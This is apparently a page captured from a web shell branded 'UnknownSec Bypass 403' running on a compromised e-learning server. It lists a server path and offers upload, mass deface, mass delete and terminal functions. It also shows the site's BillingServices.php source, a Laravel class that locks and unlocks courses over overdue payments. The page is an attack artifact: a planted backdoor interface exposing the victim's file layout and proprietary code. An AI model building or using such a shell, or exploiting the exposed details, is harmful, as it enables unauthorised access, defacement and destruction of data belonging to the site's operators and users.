UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_a49dedfd340f
/
app
/
Services
/
Admin
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
BillingServices.php
<?php namespace EstudioLMS\Services\Admin; use Carbon\Carbon; use EstudioLMS\Exceptions\Handler; use EstudioLMS\Repositories\Environment\HiredCourseRepository; use EstudioLMS\Repositories\Financial\BillingRepository; use EstudioLMS\Repositories\Financial\HiringInterface; use Laracasts\Flash\Flash; /** * Class BillingServices * @package EstudioLMS\Services\Admin */ class BillingServices { /** * @var BillingRepository */ private $billingRepository; /** * @var ConfigurationServices */ private $configurationServices; /** * @var HiredCourseRepository */ private $hiredCourseRepository; /** * @var HiringInterface */ private $hiring; /** * BillingServices constructor. * @param BillingRepository $billingRepository * @param ConfigurationServices $configurationServices * @param HiredCourseRepository $hiredCourseRepository * @param HiringInterface $hiring */ public function __construct( BillingRepository $billingRepository, ConfigurationServices $configurationServices, HiredCourseRepository $hiredCourseRepository, HiringInterface $hiring ) { $this->billingRepository = $billingRepository; $this->configurationServices = $configurationServices; $this->hiredCourseRepository = $hiredCourseRepository; $this->hiring = $hiring; } /** * @param $billingId */ public function blockCourseForBillingOverdue($billingId) { $billing = $this->billingRepository->find($billingId); $date = Carbon::createFromFormat('Y-m-d H:i:s', $billing->due_date); if ($this->checkBlockForOverdue($date)) { $hireId = $billing->hirings_id; $hireStatusId = 1; try { $this->hiring->update(['status' => $hireStatusId], $hireId); $this->hiredCourseRepository->massStatusUpdate($hireId, $hireStatusId); } catch (\Exception $e) { app(Handler::class)->report($e); \Log::critical('blockCourseForBillingOverdue' . PHP_EOL . $e->getCode() . ' -> ' . $e->getMessage()); } } } /** * @param $date * @return bool */ private function checkBlockForOverdue($date) { $daysForBlock = $this->configurationServices->boletoConfiguration()['block_after_days']; if ($date->diff(Carbon::now())->days >= $daysForBlock) { return true; } return false; } /* * Método responsável por desbloquear o curso após o pagamento. * Será feita a verificação, se não existe mais nenhum boleto vencido, dentro do prazo de bloqueio, * antes de efetivar o desbloqueio do curso. */ /** * @param $hireHeaderId * @return bool */ public function unblockCourseForPayment($hireHeaderId) { $billings = $this->billingRepository->findWhere([ ['hirings_id', '=', $hireHeaderId], ['billing_status_id', '=', 2] ])->all(); if (count($billings) <= 0) { return true; } foreach ($billings as $key => $billing) { $date = Carbon::createFromFormat('Y-m-d H:i:s', $billing->due_date); if ($this->checkBlockForOverdue($date)) { return false; } } return true; } }
Copyright © 2026 - UnknownSec